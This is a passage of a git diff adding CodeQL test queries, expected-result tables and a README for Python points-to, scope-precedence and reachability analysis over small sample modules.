| +| h_classes.py:26 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 26 | +| h_classes.py:27 | ControlFlowNode for Attribute | class Derived1 | builtin-class type | 33 | +| h_classes.py:27 | ControlFlowNode for Derived1 | class Derived1 | builtin-class type | 33 | +| h_classes.py:27 | ControlFlowNode for self | self | class Base | 25 | +| h_classes.py:28 | ControlFlowNode for Compare | bool False | builtin-class bool | 28 | +| h_classes.py:28 | ControlFlowNode for Compare | bool True | builtin-class bool | 28 | +| h_classes.py:28 | ControlFlowNode for IntegerLiteral | int 2 | builtin-class int | 28 | +| h_classes.py:29 | ControlFlowNode for Attribute | class Derived2 | builtin-class type | 36 | +| h_classes.py:29 | ControlFlowNode for Derived2 | class Derived2 | builtin-class type | 36 | +| h_classes.py:29 | ControlFlowNode for self | self | class Base | 25 | +| h_classes.py:31 | ControlFlowNode for Attribute | class Derived3 | builtin-class type | 39 | +| h_classes.py:31 | ControlFlowNode for Derived3 | class Derived3 | builtin-class type | 39 | +| h_classes.py:31 | ControlFlowNode for self | self | class Base | 25 | +| h_classes.py:33 | ControlFlowNode for Base | class Base | builtin-class type | 23 | +| h_classes.py:33 | ControlFlowNode for ClassExpr | class Derived1 | builtin-class type | 33 | +| h_classes.py:33 | ControlFlowNode for Derived1 | class Derived1 | builtin-class type | 33 | +| h_classes.py:36 | ControlFlowNode for Base | class Base | builtin-class type | 23 | +| h_classes.py:36 | ControlFlowNode for ClassExpr | class Derived2 | builtin-class type | 36 | +| h_classes.py:36 | ControlFlowNode for Derived2 | class Derived2 | builtin-class type | 36 | +| h_classes.py:39 | ControlFlowNode for Base | class Base | builtin-class type | 23 | +| h_classes.py:39 | ControlFlowNode for ClassExpr | class Derived3 | builtin-class type | 39 | +| h_classes.py:39 | ControlFlowNode for Derived3 | class Derived3 | builtin-class type | 39 | +| h_classes.py:42 | ControlFlowNode for Base | class Base | builtin-class type | 23 | +| h_classes.py:45 | ControlFlowNode for FunctionExpr | Function f | builtin-class function | 45 | +| h_classes.py:45 | ControlFlowNode for f | Function f | builtin-class function | 45 | +| h_classes.py:48 | ControlFlowNode for ClassExpr | class D | builtin-class type | 48 | +| h_classes.py:48 | ControlFlowNode for D | class D | builtin-class type | 48 | +| h_classes.py:48 | ControlFlowNode for object | builtin-class object | builtin-class type | 48 | +| h_classes.py:50 | ControlFlowNode for f | Function f | builtin-class function | 45 | +| h_classes.py:50 | ControlFlowNode for m | Function f | builtin-class function | 45 | +| h_classes.py:52 | ControlFlowNode for FunctionExpr | Function n | builtin-class function | 52 | +| h_classes.py:52 | ControlFlowNode for n | Function n | builtin-class function | 52 | +| i_imports.py:3 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 3 | +| i_imports.py:3 | ControlFlowNode for a | int 1 | builtin-class int | 3 | +| i_imports.py:4 | ControlFlowNode for IntegerLiteral | int 2 | builtin-class int | 4 | +| i_imports.py:4 | ControlFlowNode for b | int 2 | builtin-class int | 4 | +| i_imports.py:5 | ControlFlowNode for IntegerLiteral | int 3 | builtin-class int | 5 | +| i_imports.py:5 | ControlFlowNode for c | int 3 | builtin-class int | 5 | +| i_imports.py:7 | ControlFlowNode for ImportExpr | Module code.xyz | builtin-class module | 7 | +| i_imports.py:8 | ControlFlowNode for ImportExpr | Module code | builtin-class module | 8 | +| i_imports.py:8 | ControlFlowNode for ImportMember | Module code.xyz | builtin-class module | 0 | +| i_imports.py:8 | ControlFlowNode for xyz | Module code.xyz | builtin-class module | 0 | +| i_imports.py:9 | ControlFlowNode for Attribute | float 1.0 | builtin-class float | 2 | +| i_imports.py:9 | ControlFlowNode for xyz | Module code.xyz | builtin-class module | 0 | +| i_imports.py:10 | ControlFlowNode for z | float 3.0 | builtin-class float | 4 | +| i_imports.py:11 | ControlFlowNode for a | int 1 | builtin-class int | 3 | +| i_imports.py:13 | ControlFlowNode for ImportExpr | Module sys | builtin-class module | 13 | +| i_imports.py:13 | ControlFlowNode for ImportMember | list object | builtin-class list | 13 | +| i_imports.py:13 | ControlFlowNode for argv | list object | builtin-class list | 13 | +| i_imports.py:15 | ControlFlowNode for argv | list object | builtin-class list | 13 | +| i_imports.py:17 | ControlFlowNode for ImportExpr | Module sys | builtin-class module | 17 | +| i_imports.py:17 | ControlFlowNode for sys | Module sys | builtin-class module | 17 | +| i_imports.py:18 | ControlFlowNode for Attribute | list object | builtin-class list | 18 | +| i_imports.py:18 | ControlFlowNode for sys | Module sys | builtin-class module | 17 | +| i_imports.py:23 | ControlFlowNode for ImportExpr | Module code | builtin-class module | 23 | +| i_imports.py:23 | ControlFlowNode for code | Module code | builtin-class module | 23 | +| i_imports.py:24 | ControlFlowNode for Attribute | Module code.package.x | builtin-class module | 0 | +| i_imports.py:24 | ControlFlowNode for code | Module code | builtin-class module | 23 | +| i_imports.py:27 | ControlFlowNode for ImportExpr | Module code.test_package | builtin-class module | 27 | +| i_imports.py:29 | ControlFlowNode for ImportExpr | Module _io | builtin-class module | 29 | +| i_imports.py:29 | ControlFlowNode for _io | Module _io | builtin-class module | 29 | +| i_imports.py:30 | ControlFlowNode for Attribute | builtin-class _io.StringIO | builtin-class type | 30 | +| i_imports.py:30 | ControlFlowNode for StringIO | builtin-class _io.StringIO | builtin-class type | 30 | +| i_imports.py:30 | ControlFlowNode for _io | Module _io | builtin-class module | 29 | +| i_imports.py:31 | ControlFlowNode for Attribute | builtin-class _io.BytesIO | builtin-class type | 31 | +| i_imports.py:31 | ControlFlowNode for BytesIO | builtin-class _io.BytesIO | builtin-class type | 31 | +| i_imports.py:31 | ControlFlowNode for _io | Module _io | builtin-class module | 29 | +| i_imports.py:33 | ControlFlowNode for ImportExpr | Module io | builtin-class module | 33 | +| i_imports.py:33 | ControlFlowNode for io | Module io | builtin-class module | 33 | +| i_imports.py:34 | ControlFlowNode for Attribute | builtin-class _io.StringIO | builtin-class type | 55 | +| i_imports.py:34 | ControlFlowNode for StringIO | builtin-class _io.StringIO | builtin-class type | 55 | +| i_imports.py:34 | ControlFlowNode for io | Module io | builtin-class module | 33 | +| i_imports.py:35 | ControlFlowNode for Attribute | builtin-class _io.BytesIO | builtin-class type | 55 | +| i_imports.py:35 | ControlFlowNode for BytesIO | builtin-class _io.BytesIO | builtin-class type | 55 | +| i_imports.py:35 | ControlFlowNode for io | Module io | builtin-class module | 33 | +| i_imports.py:37 | ControlFlowNode for ImportExpr | Module code | builtin-class module | 37 | +| i_imports.py:37 | ControlFlowNode for code | Module code | builtin-class module | 37 | +| i_imports.py:38 | ControlFlowNode for Attribute | Function f2 | builtin-class function | 24 | +| i_imports.py:38 | ControlFlowNode for Attribute | Module code.n_nesting | builtin-class module | 0 | +| i_imports.py:38 | ControlFlowNode for Attribute() | NoneType None | builtin-class NoneType | 24 | +| i_imports.py:38 | ControlFlowNode for code | Module code | builtin-class module | 37 | +| j_convoluted_imports.py:2 | ControlFlowNode for ImportExpr | Module code.package | builtin-class module | 2 | +| j_convoluted_imports.py:3 | ControlFlowNode for ImportMember | Function module | builtin-class function | 2 | +| j_convoluted_imports.py:3 | ControlFlowNode for module | Function module | builtin-class function | 2 | +| j_convoluted_imports.py:5 | ControlFlowNode for ImportExpr | Module code.package | builtin-class module | 5 | +| j_convoluted_imports.py:6 | ControlFlowNode for ImportMember | Module code.package.x | builtin-class module | 0 | +| j_convoluted_imports.py:6 | ControlFlowNode for x | Module code.package.x | builtin-class module | 0 | +| j_convoluted_imports.py:9 | ControlFlowNode for C | class C | builtin-class type | 9 | +| j_convoluted_imports.py:9 | ControlFlowNode for ClassExpr | class C | builtin-class type | 9 | +| j_convoluted_imports.py:9 | ControlFlowNode for object | builtin-class object | builtin-class type | 9 | +| j_convoluted_imports.py:11 | ControlFlowNode for ImportExpr | Module code.package | builtin-class module | 11 | +| j_convoluted_imports.py:11 | ControlFlowNode for ImportMember | int 7 | builtin-class int | 5 | +| j_convoluted_imports.py:11 | ControlFlowNode for module2 | int 7 | builtin-class int | 5 | +| j_convoluted_imports.py:13 | ControlFlowNode for FunctionExpr | Function f | builtin-class function | 13 | +| j_convoluted_imports.py:13 | ControlFlowNode for f | Function f | builtin-class function | 13 | +| j_convoluted_imports.py:14 | ControlFlowNode for ImportExpr | Module code.package | builtin-class module | 14 | +| j_convoluted_imports.py:14 | ControlFlowNode for ImportMember | Module code.package.x | builtin-class module | 0 | +| j_convoluted_imports.py:14 | ControlFlowNode for x | Module code.package.x | builtin-class module | 0 | +| j_convoluted_imports.py:16 | ControlFlowNode for ImportExpr | Module code.package | builtin-class module | 16 | +| j_convoluted_imports.py:16 | ControlFlowNode for ImportMember | Module code.package.moduleX | builtin-class module | 0 | +| j_convoluted_imports.py:16 | ControlFlowNode for moduleX | Module code.package.moduleX | builtin-class module | 0 | +| j_convoluted_imports.py:17 | ControlFlowNode for Attribute | class Y | builtin-class type | 1 | +| j_convoluted_imports.py:17 | ControlFlowNode for moduleX | Module code.package.moduleX | builtin-class module | 0 | +| k_getsetattr.py:4 | ControlFlowNode for C | class C | builtin-class type | 4 | +| k_getsetattr.py:4 | ControlFlowNode for ClassExpr | class C | builtin-class type | 4 | +| k_getsetattr.py:4 | ControlFlowNode for object | builtin-class object | builtin-class type | 4 | +| k_getsetattr.py:6 | ControlFlowNode for FunctionExpr | Function meth1 | builtin-class function | 6 | +| k_getsetattr.py:6 | ControlFlowNode for meth1 | Function meth1 | builtin-class function | 6 | +| k_getsetattr.py:7 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 7 | +| k_getsetattr.py:7 | ControlFlowNode for Str | 'a' | builtin-class str | 7 | +| k_getsetattr.py:7 | ControlFlowNode for self | self | class C | 6 | +| k_getsetattr.py:7 | ControlFlowNode for self | self | class C | 12 | +| k_getsetattr.py:7 | ControlFlowNode for setattr | Builtin-function setattr | builtin-class builtin_function_or_method | 7 | +| k_getsetattr.py:7 | ControlFlowNode for setattr() | NoneType None | builtin-class NoneType | 7 | +| k_getsetattr.py:8 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 8 | +| k_getsetattr.py:8 | ControlFlowNode for Str | 'b' | builtin-class str | 8 | +| k_getsetattr.py:8 | ControlFlowNode for self | self | class C | 6 | +| k_getsetattr.py:8 | ControlFlowNode for self | self | class C | 12 | +| k_getsetattr.py:8 | ControlFlowNode for setattr | Builtin-function setattr | builtin-class builtin_function_or_method | 8 | +| k_getsetattr.py:8 | ControlFlowNode for setattr() | NoneType None | builtin-class NoneType | 8 | +| k_getsetattr.py:9 | ControlFlowNode for Str | 'a' | builtin-class str | 9 | +| k_getsetattr.py:9 | ControlFlowNode for getattr | Builtin-function getattr | builtin-class builtin_function_or_method | 9 | +| k_getsetattr.py:9 | ControlFlowNode for getattr() | int 0 | builtin-class int | 7 | +| k_getsetattr.py:9 | ControlFlowNode for self | self | class C | 6 | +| k_getsetattr.py:9 | ControlFlowNode for self | self | class C | 12 | +| k_getsetattr.py:10 | ControlFlowNode for Str | 'c' | builtin-class str | 10 | +| k_getsetattr.py:10 | ControlFlowNode for getattr | Builtin-function getattr | builtin-class builtin_function_or_method | 10 | +| k_getsetattr.py:10 | ControlFlowNode for getattr() | int 2 | builtin-class int | 14 | +| k_getsetattr.py:10 | ControlFlowNode for self | self | class C | 6 | +| k_getsetattr.py:10 | ControlFlowNode for self | self | class C | 12 | +| k_getsetattr.py:12 | ControlFlowNode for FunctionExpr | Function meth2 | builtin-class function | 12 | +| k_getsetattr.py:12 | ControlFlowNode for meth2 | Function meth2 | builtin-class function | 12 | +| k_getsetattr.py:13 | ControlFlowNode for FloatLiteral | float 7.0 | builtin-class float | 13 | +| k_getsetattr.py:13 | ControlFlowNode for Str | 'a' | builtin-class str | 13 | +| k_getsetattr.py:13 | ControlFlowNode for self | self | class C | 12 | +| k_getsetattr.py:13 | ControlFlowNode for setattr | Builtin-function setattr | builtin-class builtin_function_or_method | 13 | +| k_getsetattr.py:13 | ControlFlowNode for setattr() | NoneType None | builtin-class NoneType | 13 | +| k_getsetattr.py:14 | ControlFlowNode for IntegerLiteral | int 2 | builtin-class int | 14 | +| k_getsetattr.py:14 | ControlFlowNode for Str | 'c' | builtin-class str | 14 | +| k_getsetattr.py:14 | ControlFlowNode for self | self | class C | 12 | +| k_getsetattr.py:14 | ControlFlowNode for setattr | Builtin-function setattr | builtin-class builtin_function_or_method | 14 | +| k_getsetattr.py:14 | ControlFlowNode for setattr() | NoneType None | builtin-class NoneType | 14 | +| k_getsetattr.py:15 | ControlFlowNode for Attribute() | NoneType None | builtin-class NoneType | 6 | +| k_getsetattr.py:15 | ControlFlowNode for self | self | class C | 12 | +| k_getsetattr.py:16 | ControlFlowNode for Str | 'a' | builtin-class str | 16 | +| k_getsetattr.py:16 | ControlFlowNode for getattr | Builtin-function getattr | builtin-class builtin_function_or_method | 16 | +| k_getsetattr.py:16 | ControlFlowNode for getattr() | int 0 | builtin-class int | 7 | +| k_getsetattr.py:16 | ControlFlowNode for self | self | class C | 12 | +| k_getsetattr.py:17 | ControlFlowNode for Str | 'b' | builtin-class str | 17 | +| k_getsetattr.py:17 | ControlFlowNode for getattr | Builtin-function getattr | builtin-class builtin_function_or_method | 17 | +| k_getsetattr.py:17 | ControlFlowNode for getattr() | int 1 | builtin-class int | 8 | +| k_getsetattr.py:17 | ControlFlowNode for self | self | class C | 12 | +| k_getsetattr.py:18 | ControlFlowNode for Str | 'c' | builtin-class str | 18 | +| k_getsetattr.py:18 | ControlFlowNode for getattr | Builtin-function getattr | builtin-class builtin_function_or_method | 18 | +| k_getsetattr.py:18 | ControlFlowNode for getattr() | int 2 | builtin-class int | 14 | +| k_getsetattr.py:18 | ControlFlowNode for self | self | class C | 12 | +| k_getsetattr.py:21 | ControlFlowNode for FunctionExpr | Function k | builtin-class function | 21 | +| k_getsetattr.py:21 | ControlFlowNode for k | Function k | builtin-class function | 21 | +| k_getsetattr.py:22 | ControlFlowNode for C | class C | builtin-class type | 4 | +| k_getsetattr.py:22 | ControlFlowNode for C() | C() | class C | 22 | +| k_getsetattr.py:22 | ControlFlowNode for c1 | C() | class C | 22 | +| k_getsetattr.py:23 | ControlFlowNode for C | class C | builtin-class type | 4 | +| k_getsetattr.py:23 | ControlFlowNode for C() | C() | class C | 23 | +| k_getsetattr.py:23 | ControlFlowNode for c2 | C() | class C | 23 | +| k_getsetattr.py:24 | ControlFlowNode for C | class C | builtin-class type | 4 | +| k_getsetattr.py:24 | ControlFlowNode for C() | C() | class C | 24 | +| k_getsetattr.py:24 | ControlFlowNode for c3 | C() | class C | 24 | +| k_getsetattr.py:25 | ControlFlowNode for Attribute | int 10 | builtin-class int | 25 | +| k_getsetattr.py:25 | ControlFlowNode for IntegerLiteral | int 10 | builtin-class int | 25 | +| k_getsetattr.py:25 | ControlFlowNode for c1 | C() | class C | 22 | +| k_getsetattr.py:27 | ControlFlowNode for Attribute | int 20 | builtin-class int | 27 | +| k_getsetattr.py:27 | ControlFlowNode for IntegerLiteral | int 20 | builtin-class int | 27 | +| k_getsetattr.py:27 | ControlFlowNode for c2 | C() | class C | 23 | +| k_getsetattr.py:28 | ControlFlowNode for Attribute | int 10 | builtin-class int | 25 | +| k_getsetattr.py:28 | ControlFlowNode for c1 | C() | class C | 22 | +| k_getsetattr.py:29 | ControlFlowNode for Attribute | int 20 | builtin-class int | 27 | +| k_getsetattr.py:29 | ControlFlowNode for c2 | C() | class C | 23 | +| k_getsetattr.py:30 | ControlFlowNode for c3 | C() | class C | 24 | +| k_getsetattr.py:31 | ControlFlowNode for Attribute | int 30 | builtin-class int | 31 | +| k_getsetattr.py:31 | ControlFlowNode for IntegerLiteral | int 30 | builtin-class int | 31 | +| k_getsetattr.py:31 | ControlFlowNode for c3 | C() | class C | 24 | +| l_calls.py:3 | ControlFlowNode for FunctionExpr | Function foo | builtin-class function | 3 | +| l_calls.py:3 | ControlFlowNode for List | List | builtin-class list | 3 | +| l_calls.py:3 | ControlFlowNode for foo | Function foo | builtin-class function | 3 | +| l_calls.py:4 | ControlFlowNode for Attribute() | NoneType None | builtin-class NoneType | 4 | +| l_calls.py:4 | ControlFlowNode for Str | 'x' | builtin-class str | 4 | +| l_calls.py:4 | ControlFlowNode for x | List | builtin-class list | 3 | +| l_calls.py:6 | ControlFlowNode for FunctionExpr | Function bar | builtin-class function | 6 | +| l_calls.py:6 | ControlFlowNode for List | List | builtin-class list | 6 | +| l_calls.py:6 | ControlFlowNode for bar | Function bar | builtin-class function | 6 | +| l_calls.py:7 | ControlFlowNode for len | Builtin-function len | builtin-class builtin_function_or_method | 7 | +| l_calls.py:7 | ControlFlowNode for len() | len() | builtin-class int | 7 | +| l_calls.py:7 | ControlFlowNode for x | List | builtin-class list | 6 | +| l_calls.py:9 | ControlFlowNode for foo | Function foo | builtin-class function | 3 | +| l_calls.py:9 | ControlFlowNode for foo() | NoneType None | builtin-class NoneType | 4 | +| l_calls.py:10 | ControlFlowNode for bar | Function bar | builtin-class function | 6 | +| l_calls.py:10 | ControlFlowNode for bar() | len() | builtin-class int | 7 | +| l_calls.py:12 | ControlFlowNode for ClassExpr | class Owner | builtin-class type | 12 | +| l_calls.py:12 | ControlFlowNode for Owner | class Owner | builtin-class type | 12 | +| l_calls.py:12 | ControlFlowNode for object | builtin-class object | builtin-class type | 12 | +| l_calls.py:14 | ControlFlowNode for classmethod | builtin-class classmethod | builtin-class type | 14 | +| l_calls.py:14 | ControlFlowNode for classmethod() | classmethod() | builtin-class classmethod | 14 | +| l_calls.py:15 | ControlFlowNode for FunctionExpr | Function cm | builtin-class function | 15 | +| l_calls.py:15 | ControlFlowNode for cm | classmethod() | builtin-class classmethod | 14 | +| l_calls.py:16 | ControlFlowNode for cls | class Owner | builtin-class type | 23 | +| l_calls.py:18 | ControlFlowNode for classmethod | builtin-class classmethod | builtin-class type | 18 | +| l_calls.py:18 | ControlFlowNode for classmethod() | classmethod() | builtin-class classmethod | 18 | +| l_calls.py:19 | ControlFlowNode for FunctionExpr | Function cm2 | builtin-class function | 19 | +| l_calls.py:19 | ControlFlowNode for cm2 | classmethod() | builtin-class classmethod | 18 | +| l_calls.py:20 | ControlFlowNode for arg | int 1 | builtin-class int | 25 | +| l_calls.py:23 | ControlFlowNode for FunctionExpr | Function m | builtin-class function | 23 | +| l_calls.py:23 | ControlFlowNode for m | Function m | builtin-class function | 23 | +| l_calls.py:24 | ControlFlowNode for Attribute() | class Owner | builtin-class type | 23 | +| l_calls.py:24 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 24 | +| l_calls.py:24 | ControlFlowNode for a | class Owner | builtin-class type | 23 | +| l_calls.py:24 | ControlFlowNode for self | self | class Owner | 23 | +| l_calls.py:25 | ControlFlowNode for Attribute() | int 1 | builtin-class int | 25 | +| l_calls.py:25 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 25 | +| l_calls.py:25 | ControlFlowNode for a | class Owner | builtin-class type | 23 | +| s_scopes.py:4 | ControlFlowNode for True | bool True | builtin-class bool | 4 | +| s_scopes.py:4 | ControlFlowNode for float | bool True | builtin-class bool | 4 | +| s_scopes.py:7 | ControlFlowNode for C2 | class C2 | builtin-class type | 7 | +| s_scopes.py:7 | ControlFlowNode for ClassExpr | class C2 | builtin-class type | 7 | +| s_scopes.py:7 | ControlFlowNode for object | builtin-class object | builtin-class type | 7 | +| s_scopes.py:9 | ControlFlowNode for i1 | builtin-class int | builtin-class type | 9 | +| s_scopes.py:9 | ControlFlowNode for int | builtin-class int | builtin-class type | 9 | +| s_scopes.py:10 | ControlFlowNode for f1 | bool True | builtin-class bool | 4 | +| s_scopes.py:10 | ControlFlowNode for f1 | builtin-class float | builtin-class type | 10 | +| s_scopes.py:10 | ControlFlowNode for float | bool True | builtin-class bool | 4 | +| s_scopes.py:10 | ControlFlowNode for float | builtin-class float | builtin-class type | 10 | +| s_scopes.py:12 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 12 | +| s_scopes.py:12 | ControlFlowNode for int | int 0 | builtin-class int | 12 | +| s_scopes.py:15 | ControlFlowNode for FloatLiteral | float 1.0 | builtin-class float | 15 | +| s_scopes.py:15 | ControlFlowNode for str | float 1.0 | builtin-class float | 15 | +| s_scopes.py:17 | ControlFlowNode for None | NoneType None | builtin-class NoneType | 17 | +| s_scopes.py:17 | ControlFlowNode for float | NoneType None | builtin-class NoneType | 17 | +| s_scopes.py:18 | ControlFlowNode for i2 | int 0 | builtin-class int | 12 | +| s_scopes.py:18 | ControlFlowNode for int | int 0 | builtin-class int | 12 | +| s_scopes.py:19 | ControlFlowNode for s | builtin-class str | builtin-class type | 19 | +| s_scopes.py:19 | ControlFlowNode for s | float 1.0 | builtin-class float | 15 | +| s_scopes.py:19 | ControlFlowNode for str | builtin-class str | builtin-class type | 19 | +| s_scopes.py:19 | ControlFlowNode for str | float 1.0 | builtin-class float | 15 | +| s_scopes.py:20 | ControlFlowNode for f2 | NoneType None | builtin-class NoneType | 17 | +| s_scopes.py:20 | ControlFlowNode for f2 | bool True | builtin-class bool | 4 | +| s_scopes.py:20 | ControlFlowNode for f2 | builtin-class float | builtin-class type | 20 | +| s_scopes.py:20 | ControlFlowNode for float | NoneType None | builtin-class NoneType | 17 | +| s_scopes.py:20 | ControlFlowNode for float | bool True | builtin-class bool | 4 | +| s_scopes.py:20 | ControlFlowNode for float | builtin-class float | builtin-class type | 20 | +| s_scopes.py:23 | ControlFlowNode for i | builtin-class int | builtin-class type | 23 | +| s_scopes.py:23 | ControlFlowNode for int | builtin-class int | builtin-class type | 23 | +| s_scopes.py:24 | ControlFlowNode for f | bool True | builtin-class bool | 4 | +| s_scopes.py:24 | ControlFlowNode for f | builtin-class float | builtin-class type | 24 | +| s_scopes.py:24 | ControlFlowNode for float | bool True | builtin-class bool | 4 | +| s_scopes.py:24 | ControlFlowNode for float | builtin-class float | builtin-class type | 24 | diff --git a/python/ql/test/library-tests/PointsTo/new/PointsToWithType.ql b/python/ql/test/library-tests/PointsTo/new/PointsToWithType.ql new file mode 100644 index 00000000000..0c845f6bc3c --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/PointsToWithType.ql @@ -0,0 +1,9 @@ +import python +import Util +import semmle.python.pointsto.PointsTo + +from ControlFlowNode f, Object o, ClassObject c, ControlFlowNode x + +where PointsTo::points_to(f, _, o, c, x) + +select locate(f.getLocation(), "abdeghijkls"), f.toString(), repr(o), repr(c), x.getLocation().getStartLine() diff --git a/python/ql/test/library-tests/PointsTo/new/Precedes.expected b/python/ql/test/library-tests/PointsTo/new/Precedes.expected new file mode 100644 index 00000000000..fc1a262139e --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/Precedes.expected @@ -0,0 +1,12 @@ +| q_super.py:0 | Module code.q_super | q_super.py:3 | Function __init__ | +| q_super.py:0 | Module code.q_super | q_super.py:10 | Function __init__ | +| q_super.py:0 | Module code.q_super | q_super.py:16 | Function meth | +| q_super.py:0 | Module code.q_super | q_super.py:21 | Function meth | +| q_super.py:0 | Module code.q_super | q_super.py:26 | Function meth | +| q_super.py:0 | Module code.q_super | q_super.py:31 | Function meth | +| q_super.py:0 | Module code.q_super | q_super.py:37 | Function meth | +| q_super.py:0 | Module code.q_super | q_super.py:43 | Function __init__ | +| q_super.py:0 | Module code.q_super | q_super.py:50 | Function __init__ | +| q_super.py:0 | Module code.q_super | q_super.py:57 | Function __init__ | +| q_super.py:0 | Module code.q_super | q_super.py:65 | Function __init__ | +| q_super.py:0 | Module code.q_super | q_super.py:73 | Function __init__ | diff --git a/python/ql/test/library-tests/PointsTo/new/Precedes.ql b/python/ql/test/library-tests/PointsTo/new/Precedes.ql new file mode 100644 index 00000000000..959ec181f5f --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/Precedes.ql @@ -0,0 +1,8 @@ + +import python +import Util + +from Scope pre, Scope post +where pre.precedes(post) + +select locate(pre.getLocation(), "q"), pre.toString(), locate(post.getLocation(), "q"), post.toString() diff --git a/python/ql/test/library-tests/PointsTo/new/README.md b/python/ql/test/library-tests/PointsTo/new/README.md new file mode 100644 index 00000000000..0934a6cf72c --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/README.md @@ -0,0 +1,14 @@ +## Dataflow, points-to, call-graph and type-inference tests. + +Since dataflow, points-to, call-graph and type-inference are all interlinked it makes sense to test them together. + +### The test code. +The test code is all under the `code/` subdirectory and all test files are named \w_name, supporting +files do have an underscore as their second character. +This allows tests to be applied to a subset of the test data and test/data combinations to be turned on/off easily for debugging. + +Be aware that here are two `__init__.py`, so the results are interleaved. + + + + diff --git a/python/ql/test/library-tests/PointsTo/new/Reachable.expected b/python/ql/test/library-tests/PointsTo/new/Reachable.expected new file mode 100644 index 00000000000..c7dbbb816a4 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/Reachable.expected @@ -0,0 +1,80 @@ +| m_attributes.py:0 | Entry node for Module code.m_attributes | import | +| m_attributes.py:0 | Exit node for Module code.m_attributes | import | +| m_attributes.py:3 | ControlFlowNode for C | import | +| m_attributes.py:3 | ControlFlowNode for ClassExpr | import | +| m_attributes.py:3 | ControlFlowNode for object | import | +| m_attributes.py:3 | Entry node for Class C | import | +| m_attributes.py:3 | Exit node for Class C | import | +| m_attributes.py:5 | ControlFlowNode for FunctionExpr | import | +| m_attributes.py:5 | ControlFlowNode for IntegerLiteral | import | +| m_attributes.py:5 | ControlFlowNode for __init__ | import | +| m_attributes.py:5 | ControlFlowNode for a | code/m_attributes.py:12 from import | +| m_attributes.py:5 | ControlFlowNode for a | code/m_attributes.py:12 from import | +| m_attributes.py:5 | ControlFlowNode for a | code/m_attributes.py:13 from import | +| m_attributes.py:5 | ControlFlowNode for a | code/m_attributes.py:13 from import | +| m_attributes.py:5 | ControlFlowNode for a | runtime | +| m_attributes.py:5 | ControlFlowNode for self | code/m_attributes.py:12 from import | +| m_attributes.py:5 | ControlFlowNode for self | code/m_attributes.py:12 from import | +| m_attributes.py:5 | ControlFlowNode for self | code/m_attributes.py:13 from import | +| m_attributes.py:5 | ControlFlowNode for self | code/m_attributes.py:13 from import | +| m_attributes.py:5 | ControlFlowNode for self | runtime | +| m_attributes.py:5 | Entry node for Function __init__ | code/m_attributes.py:12 from import | +| m_attributes.py:5 | Entry node for Function __init__ | code/m_attributes.py:12 from import | +| m_attributes.py:5 | Entry node for Function __init__ | code/m_attributes.py:13 from import | +| m_attributes.py:5 | Entry node for Function __init__ | code/m_attributes.py:13 from import | +| m_attributes.py:5 | Entry node for Function __init__ | runtime | +| m_attributes.py:5 | Exit node for Function __init__ | code/m_attributes.py:12 from import | +| m_attributes.py:5 | Exit node for Function __init__ | code/m_attributes.py:12 from import | +| m_attributes.py:5 | Exit node for Function __init__ | code/m_attributes.py:13 from import | +| m_attributes.py:5 | Exit node for Function __init__ | code/m_attributes.py:13 from import | +| m_attributes.py:5 | Exit node for Function __init__ | runtime | +| m_attributes.py:6 | ControlFlowNode for Attribute | code/m_attributes.py:12 from import | +| m_attributes.py:6 | ControlFlowNode for Attribute | code/m_attributes.py:12 from import | +| m_attributes.py:6 | ControlFlowNode for Attribute | code/m_attributes.py:13 from import | +| m_attributes.py:6 | ControlFlowNode for Attribute | code/m_attributes.py:13 from import | +| m_attributes.py:6 | ControlFlowNode for Attribute | runtime | +| m_attributes.py:6 | ControlFlowNode for a | code/m_attributes.py:12 from import | +| m_attributes.py:6 | ControlFlowNode for a | code/m_attributes.py:12 from import | +| m_attributes.py:6 | ControlFlowNode for a | code/m_attributes.py:13 from import | +| m_attributes.py:6 | ControlFlowNode for a | code/m_attributes.py:13 from import | +| m_attributes.py:6 | ControlFlowNode for a | runtime | +| m_attributes.py:6 | ControlFlowNode for self | code/m_attributes.py:12 from import | +| m_attributes.py:6 | ControlFlowNode for self | code/m_attributes.py:12 from import | +| m_attributes.py:6 | ControlFlowNode for self | code/m_attributes.py:13 from import | +| m_attributes.py:6 | ControlFlowNode for self | code/m_attributes.py:13 from import | +| m_attributes.py:6 | ControlFlowNode for self | runtime | +| m_attributes.py:8 | ControlFlowNode for FunctionExpr | import | +| m_attributes.py:8 | ControlFlowNode for foo | import | +| m_attributes.py:8 | ControlFlowNode for other | code/m_attributes.py:12 from import | +| m_attributes.py:8 | ControlFlowNode for other | code/m_attributes.py:13 from import | +| m_attributes.py:8 | ControlFlowNode for other | runtime | +| m_attributes.py:8 | ControlFlowNode for self | code/m_attributes.py:12 from import | +| m_attributes.py:8 | ControlFlowNode for self | code/m_attributes.py:13 from import | +| m_attributes.py:8 | ControlFlowNode for self | runtime | +| m_attributes.py:8 | Entry node for Function foo | code/m_attributes.py:12 from import | +| m_attributes.py:8 | Entry node for Function foo | code/m_attributes.py:13 from import | +| m_attributes.py:8 | Entry node for Function foo | runtime | +| m_attributes.py:8 | Exit node for Function foo | code/m_attributes.py:12 from import | +| m_attributes.py:8 | Exit node for Function foo | code/m_attributes.py:13 from import | +| m_attributes.py:8 | Exit node for Function foo | runtime | +| m_attributes.py:9 | ControlFlowNode for Attribute | code/m_attributes.py:12 from import | +| m_attributes.py:9 | ControlFlowNode for Attribute | code/m_attributes.py:13 from import | +| m_attributes.py:9 | ControlFlowNode for Attribute | runtime | +| m_attributes.py:9 | ControlFlowNode for self | code/m_attributes.py:12 from import | +| m_attributes.py:9 | ControlFlowNode for self | code/m_attributes.py:13 from import | +| m_attributes.py:9 | ControlFlowNode for self | runtime | +| m_attributes.py:10 | ControlFlowNode for Attribute | code/m_attributes.py:12 from import | +| m_attributes.py:10 | ControlFlowNode for Attribute | code/m_attributes.py:13 from import | +| m_attributes.py:10 | ControlFlowNode for Attribute | runtime | +| m_attributes.py:10 | ControlFlowNode for other | code/m_attributes.py:12 from import | +| m_attributes.py:10 | ControlFlowNode for other | 